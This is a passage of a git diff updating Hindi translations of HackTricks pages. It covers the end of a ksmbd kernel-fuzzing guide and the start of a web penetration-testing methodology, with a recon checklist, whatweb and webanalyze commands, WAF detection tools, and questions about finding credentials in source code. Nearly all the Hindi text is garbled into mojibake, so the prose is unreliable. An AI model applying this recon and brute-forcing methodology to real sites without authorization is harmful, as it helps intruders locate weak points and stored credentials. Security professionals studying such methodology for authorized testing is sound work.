рдХреЗ рд▓рд┐рдП рдЕрд╕рд▓реА pcaps рд╕реЗ ANYBLOB рд╕реЗ seed рдХрд░реЗрдВ; reuse рдХреЗ рд▓рд┐рдП seeds рдХреЛ syz-db рдХреЗ рд╕рд╛рде pack рдХрд░реЗрдВред -- KASAN + UBSAN рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдПрдБ; UBSAN declared-bounds рд░рд┐рдкреЛрд░реНрдЯреНрд╕ рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ triage рдХрд░реЗрдВред +- guest рдФрд░ map-to-guest рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ; NTLMv2 рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВред fuzzer рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП credit limits рд╣рдЯрд╛рдПрдБ рдФрд░ max connections рдмрдврд╝рд╛рдПрдБред +- рдПрдХ stateful harness рдмрдирд╛рдПрдВ рдЬреЛ SessionId/TreeID/FileIDs рдХреЛ cache рдХрд░реЗ рдФрд░ create тЖТ ioctl тЖТ close рдХреЛ chain рдХрд░реЗред +- structural validity рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП SMB2 PDUs рдХреЗ рд▓рд┐рдП рдПрдХ grammar рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +- рдХрдордЬреЛрд░ рдХрд╡рд░реЗрдЬ рд╡рд╛рд▓реЗ functions рдкрд░ рдЕрдзрд┐рдХ рд╡рдЬрди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (e.g., smbacl.c paths like smb_check_perm_dacl)ред +- plateaus рддреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП real pcaps рд╕реЗ ANYBLOB рдХреЗ рд╕рд╛рде seed рдХрд░реЗрдВ; reuse рдХреЗ рд▓рд┐рдП seeds рдХреЛ syz-db рд╕реЗ pack рдХрд░реЗрдВред +- KASAN + UBSAN рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдПрдБ; UBSAN declared-bounds reports рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ triage рдХрд░реЗрдВред --- -## References +## рд╕рдВрджрд░реНрдн - Doyensec тАУ ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html - syzkaller: https://github.com/google/syzkaller - ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 @@ -215,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- рдкреГрд╖реНрдарднреВрдорд┐ рдкрдврд╝рдирд╛: pwning.tech тАЬTickling ksmbd: fuzzing SMB in the Linux kernelтАЭ; Dongliang MuтАЩs syzkaller notes +- рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рд░реАрдбрд┐рдВрдЧ: pwning.tech тАЬTickling ksmbd: fuzzing SMB in the Linux kernelтАЭ; Dongliang MuтАЩs syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index a15b0b17d..53e8ad1b2 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,10 +1,10 @@ -# 80,443 - Pentesting рд╡реЗрдм рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА +# 80,443 - Pentesting Web Methodology {{#include ../../banners/hacktricks-training.md}} ## рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА -рд╡реЗрдм рд╕рд░реНрд╡рд┐рд╕ рд╕рдмрд╕реЗ **рдЖрдо рдФрд░ рд╡реНрдпрд╛рдкрдХ рд╕реЗрд╡рд╛** рд╣реИ рдФрд░ рдмрд╣реБрдд рд╕рд╛рд░реЗ **different types of vulnerabilities** рдореМрдЬреВрдж рд╣реИрдВред +рд╡реЗрдм рд╕реЗрд╡рд╛ рд╕рдмрд╕реЗ **рд╕рд╛рдорд╛рдиреНрдп рдФрд░ рд╡реНрдпрд╛рдкрдХ рд╕реЗрд╡рд╛** рд╣реИ рдФрд░ рдХрдИ рддрд░рд╣ рдХреА **vulnerabilities** рдореМрдЬреВрдж рд╣реИрдВред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ:** 80 (HTTP), 443(HTTPS) ```bash @@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рд╕рд╛рд░рд╛рдВрд╢ +## рдкрджреНрдзрддрд┐ рд╕рд╛рд░рд╛рдВрд╢ -> рдЗрд╕ рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╣рдо рдпрд╣ рдорд╛рдиреЗрдВрдЧреЗ рдХрд┐ рдЖрдк рдХрд┐рд╕реА рдПрдХ domain (рдпрд╛ subdomain) рдкрд░ рд╣реА рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рд╕рд┐рд░реНрдлрд╝ рд╡рд╣реАред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрд╕ рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕реНрдХреЛрдк рдореЗрдВ рдкрд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ domain, subdomain рдпрд╛ рдЕрдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╡рд╛рд▓реЗ IP рдкрд░ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред +> рдЗрд╕ рдкрджреНрдзрддрд┐ рдореЗрдВ рд╣рдо рдпрд╣ рдорд╛рдирдХрд░ рдЪрд▓реЗрдВрдЧреЗ рдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдПрдХ domain (рдпрд╛ subdomain) рдкрд░ рд╣реА attack рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╣ рдкрджреНрдзрддрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЦреЛрдЬреЗ рдЧрдП domain, subdomain рдпрд╛ рдЙрд╕ scope рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА undetermined web server рд╡рд╛рд▓реЗ IP рдкрд░ рд▓рд╛рдЧреВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред -- [ ] рд╢реБрд░реБрдЖрдд рдХрд░реЗрдВ: рд╡реЗрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА **рддрдХрдиреАрдХреЗрдВ** рдХреА **рдкрд╣рдЪрд╛рди** рдХрд░реЗрдВред рдпрджрд┐ рдЖрдк рдЯреЗрдХ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЯреЗрд╕реНрдЯ рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЙрдкрдпреЛрдЧреА **tricks** рджреЗрдЦреЗрдВред -- [ ] рдХреНрдпрд╛ рдЙрд╕ рддрдХрдиреАрдХ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХреЛрдИ **known vulnerability** рдореМрдЬреВрдж рд╣реИ? -- [ ] рдХреНрдпрд╛ рдХреЛрдИ **well known tech** рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ? рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **useful trick** рд╣реИ? -- [ ] рдХреНрдпрд╛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **specialised scanner** рд╣реИ (рдЬреИрд╕реЗ wpscan)? -- [ ] **general purposes scanners** рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред рдкрддрд╛ рдирд╣реАрдВ рд╡реЗ рдХреБрдЫ рдкрд╛рдПрдБрдЧреЗ рдпрд╛ рдХреЛрдИ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓реЗрдЧреАред -- [ ] **initial checks** рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВ: **robots**, **sitemap**, **404** error рдФрд░ **SSL/TLS scan** (рдпрджрд┐ **HTTPS**)ред -- [ ] рд╡реЗрдм рдкреЗрдЬ рдкрд░ **spidering** рд╢реБрд░реВ рдХрд░реЗрдВ: рдЕрдм рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд **files, folders** рдФрд░ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣реЗ **parameters** рдХреЛ **find** рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рд╕рд╛рде рд╣реА **special findings** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -- [ ] _рдиреЛрдЯ: рдЬрдм рднреА brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдирдпрд╛ directory рдорд┐рд▓рддрд╛ рд╣реИ, рдЙрд╕реЗ spider рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП._ -- [ ] **Directory Brute-Forcing**: рдЦреЛрдЬреЗ рдЧрдП рд╕рднреА folders рдХреЛ brute force рдХрд░рдХреЗ рдирдП **files** рдФрд░ **directories** рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред -- [ ] _рдиреЛрдЯ: рдЬрдм рднреА brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдирдпрд╛ directory рдорд┐рд▓рддрд╛ рд╣реИ, рдЙрд╕реЗ Brute-Forced рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП._ -- [ ] **Backups checking**: рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЦреЛрдЬреЗ рдЧрдП **files** рдХреЗ **backups** рд╕рд╛рдорд╛рдиреНрдп backup extensions рдЬреЛрдбрд╝рдХрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред -- [ ] **Brute-Force parameters**: рдЫрд┐рдкреЗ рд╣реБрдП **parameters** рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред -- [ ] рдЬрдм рдЖрдкрдиреЗ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд **endpoints** рдЬреЛ **user input** рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ **рдкрд╣рдЪрд╛рди** рд▓рд┐рдП рд╣реЛрдВ, рддреЛ рдЙрдирд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреА **vulnerabilities** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- [ ] рд╢реБрд░реБрдЖрдд рдХрд░реЗрдВ рдФрд░ **identify** рдХрд░реЗрдВ рдХрд┐ web server рдХреМрди-рдХреМрди рд╕реА **technologies** рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдЖрдк tech рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЯреЗрд╕реНрдЯ рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЗ рджреМрд░рд╛рди рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **tricks** рджреЗрдЦреЗрдВред +- [ ] рдХреНрдпрд╛ рдЙрд╕ technology рдХреЗ version рдХреА рдХреЛрдИ known vulnerability рд╣реИ? +- [ ] рдХреЛрдИ well known tech рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ рд╣реИ? рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЙрдкрдпреЛрдЧреА trick рд╣реИ? +- [ ] рдХреЛрдИ specialised scanner рдЪрд▓рд╛рдиреЗ рд▓рд╛рдпрдХ рд╣реИ (рдЬреИрд╕реЗ wpscan)? +- [ ] general purposes scanners рдЪрд▓рд╛рдПрдБред рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╡реЗ рдХреБрдЫ рдкрд╛рдПрдВрдЧреЗ рдпрд╛ рдХреЛрдИ interesting information рдирд┐рдХрд╛рд▓реЗрдВрдЧреЗред +- [ ] рд╢реБрд░реВ рдХрд░реЗрдВ **рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЬрд╛рдВрдЪ**: **robots**, **sitemap**, **404** error рдФрд░ **SSL/TLS scan** (рдпрджрд┐ **HTTPS**)ред +- [ ] Start **spidering** the web page: рдпрд╣ рд╕рдордп рд╣реИ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд **files**, **folders** рдФрд░ **parameters** рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ред рд╕рд╛рде рд╣реА, special findings рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- [ ] _рдиреЛрдЯ рдХрд┐ рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдЦреЛрдЬрд╛ рдЬрд╛рдП, рдЙрд╕реЗ spider рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП._ +- [ ] **Directory Brute-Forcing**: рдкрд╛рдП рдЧрдП рд╕рднреА folders рдкрд░ brute force рдХрд░реЗрдВ рддрд╛рдХрд┐ рдирдП **files** рдФрд░ **directories** рдорд┐рд▓ рд╕рдХреЗрдВред +- [ ] _рдиреЛрдЯ рдХрд┐ рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдЦреЛрдЬрд╛ рдЬрд╛рдП, рдЙрд╕реЗ Brute-Forced рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП._ +- [ ] **Backups checking**: рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЦреЛрдЬреЗ рдЧрдП files рдХреЗ backups рд╕рд╛рдорд╛рдиреНрдп backup extensions рдЬреЛрдбрд╝рдХрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +- [ ] **Brute-Force parameters**: рдЫреБрдкреЗ рд╣реБрдП parameters рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред +- [ ] рдЬрдм рдЖрдкрдиреЗ рдЙрди рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд endpoints рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд▓реА рд╣реЛ рдЬреЛ user input рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЙрдирд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреА vulnerabilities рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред - [ ] [рдЗрд╕ рдЪреЗрдХрд▓рд┐рд╕реНрдЯ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ](../../pentesting-web/web-vulnerabilities-methodology.md) -## рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг (Vulnerable?) +## Server Version (Vulnerable?) -### рдкрд╣рдЪрд╛рди +### рдкрд╣рдЪрд╛рдиреЗрдВ -рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рдЙрд╕ **version** рдХреЗ рд▓рд┐рдП рдХреЛрдИ **known vulnerabilities** рдореМрдЬреВрдж рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред\ -рд░рд┐рд╕реНрдкреЙрдиреНрд╕ рдХреЗ **HTTP headers** рдФрд░ **cookies** рдЙрд╕ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА **technologies** рдФрд░/рдпрд╛ **version** рдХреА **identify** рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред **Nmap scan** рд╕рд░реНрд╡рд░ рд╡рд░реНрдЬрди рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпреЗ tools рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣реЗ server version рдХреЗ рд▓рд┐рдП рдХреЛрдИ known vulnerabilities рд╣реИрдВред\ +HTTP headers рдФрд░ response рдХреЗ cookies рддрдХрдиреАрдХреЗрдВ рдФрд░/рдпрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ version рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред Nmap scan server version рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ, рдкрд░ рдпрд╣ tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) рдпрд╛ [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -рдЦреЛрдЬреЗрдВ [**рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ**](../../generic-hacking/search-exploits.md) +рдЦреЛрдЬреЗрдВ [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **рдХреЛрдИ WAF рд╣реИ рдпрд╛ рдирд╣реАрдВ рдЬрд╛рдВрдЪреЗрдВ** +### **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ WAF рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### рд╡реЗрдм рдЯреЗрдХ рдЯреНрд░рд┐рдХреНрд╕ +### Web tech tricks -рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╕рд┐рджреНрдз рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕: +рдХреБрдЫ **tricks** рдЙрди рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╕рд┐рджреНрдз **technologies** рдореЗрдВ **vulnerabilities** рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИрдВ: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,28 +102,27 @@ webanalyze -host https://google.com -crawl 2 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдПрдХ рд╣реА **domain** рд╡рд┐рднрд┐рдиреНрди **technologies** рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ **ports**, **folders** рдФрд░ **subdomains** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ._\ -рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рднреА рдкреНрд░рд╕рд┐рджреНрдз рдкрд╣рд▓реЗ рд╕реВрдЪреАрдмрджреНрдз **tech/platform** рдпрд╛ **рдХрд┐рд╕реА рдЕрдиреНрдп** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдирдП рдЯреНрд░рд┐рдХреНрд╕ рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ (рдФрд░ рдореБрдЭреЗ рдмрддрд╛рдПрдВ!). +_рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ рдХрд┐ рд╡рд╣реА **same domain** рд╡рд┐рднрд┐рдиреНрди **ports**, **folders** рдФрд░ **subdomains** рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди **technologies** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ._\ +рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рднреА рдкреНрд░рд╕рд┐рджреНрдз **tech/platform listed before** рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдирдИ tricks рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ (рдФрд░ рдореБрдЭреЗ рдмрддрд╛рдЗрдП!). ### рд╕реНрд░реЛрдд рдХреЛрдб рд╕рдореАрдХреНрд╖рд╛ -рдпрджрд┐ рдЖрд╡реЗрджрди рдХрд╛ **source code** **github** рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ, рддреЛ рдЖрд╡реЗрджрди рдкрд░ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рдПрдХ **White box test** рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ рд╡рд░реНрддрдорд╛рди **Black-Box testing** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИ: - -- рдХреНрдпрд╛ рдХреЛрдИ **Change-log** рдпрд╛ **Readme** рдпрд╛ **Version** рдлрд╛рдЗрд▓ рдпрд╛ рдХреЛрдИ рднреА рдРрд╕реА рдЪреАрдЬрд╝ рд╣реИ рдЬрд┐рд╕рдореЗрдВ version info рд╡реЗрдм рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИ? -- credentials рдХрд┐рд╕ рддрд░рд╣ рдФрд░ рдХрд╣рд╛рдБ saved рд╣реИрдВ? рдХреНрдпрд╛ рдХреЛрдИ (accessible?) **file** credentials (usernames рдпрд╛ passwords) рдХреЗ рд╕рд╛рде рдореМрдЬреВрдж рд╣реИ? -- рдХреНрдпрд╛ **passwords** **plain text** рдореЗрдВ рд╣реИрдВ, **encrypted** рд╣реИрдВ рдпрд╛ рдХрд┐рд╕ **hashing algorithm** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ? -- рдХреНрдпрд╛ рдпрд╣ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА **master key** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ? рдХреМрди рд╕рд╛ **algorithm** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ? -- рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА vulnerability рдХрд╛ exploit рдХрд░рдХреЗ рдЗрди рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА **file** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ? -- рдХреНрдпрд╛ **github** рдореЗрдВ рдХреЛрдИ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ (solved рдФрд░ not solved) **issues** рдореЗрдВ? рдпрд╛ **commit history** рдореЗрдВ (рд╢рд╛рдпрдж рдХреЛрдИ **password** рдкреБрд░рд╛рдиреЗ commit рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реЛ)? +рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ **source code** **github** рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ, рддреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдПрдХ **White box test** рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдРрд╕реА **information** рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ рд╡рд░реНрддрдорд╛рди **Black-Box testing** рдХреЗ рд▓рд┐рдП **useful** рд╣реЛ: +- рдХреНрдпрд╛ рдХреЛрдИ **Change-log or Readme or Version** file рдпрд╛ рдХреЛрдИ рдРрд╕реА рдЪреАрдЬрд╝ рд╣реИ рдЬрд┐рд╕рдореЗрдВ **version info accessible** рд╡реЗрдм рдХреЗ рдЬрд░рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ? +- credentials рдХреИрд╕реЗ рдФрд░ рдХрд╣рд╛рдБ рд╕реЗрд╡ рд╣реЛрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рдХреЛрдИ (accessible?) **file** рд╣реИ рдЬрд┐рд╕рдореЗрдВ credentials (usernames рдпрд╛ passwords) рд╣реИрдВ? +- рдХреНрдпрд╛ passwords plain text рдореЗрдВ рд╣реИрдВ, encrypted рд╣реИрдВ рдпрд╛ рдХрд┐рд╕ **hashing algorithm** рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реБрдЖ рд╣реИ? +- рдХреНрдпрд╛ рдпрд╣ рдХрд┐рд╕реА **master key** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП? рдХреМрди рд╕рд╛ **algorithm** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ? +- рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА vulnerability рдХреЛ exploit рдХрд░рдХреЗ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ? +- рдХреНрдпрд╛ **github** рдореЗрдВ (solved рдФрд░ not solved) **issues** рдореЗрдВ рдХреЛрдИ рджрд┐рд▓рдЪрд╕реНрдк information рд╣реИ? рдпрд╛ **commit history** рдореЗрдВ (рд╢рд╛рдпрдж рдХрд┐рд╕реА рдкреБрд░рд╛рдиреЗ commit рдореЗрдВ рдХреЛрдИ password introduce рд╣реБрдЖ рд╣реЛ)? {{#ref}} code-review-tools.md {{#endref}} -### рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреИрдирд░реНрд╕ +### Automatic scanners -#### рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдпреЛрдЬрди рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреИрдирд░реНрд╕ 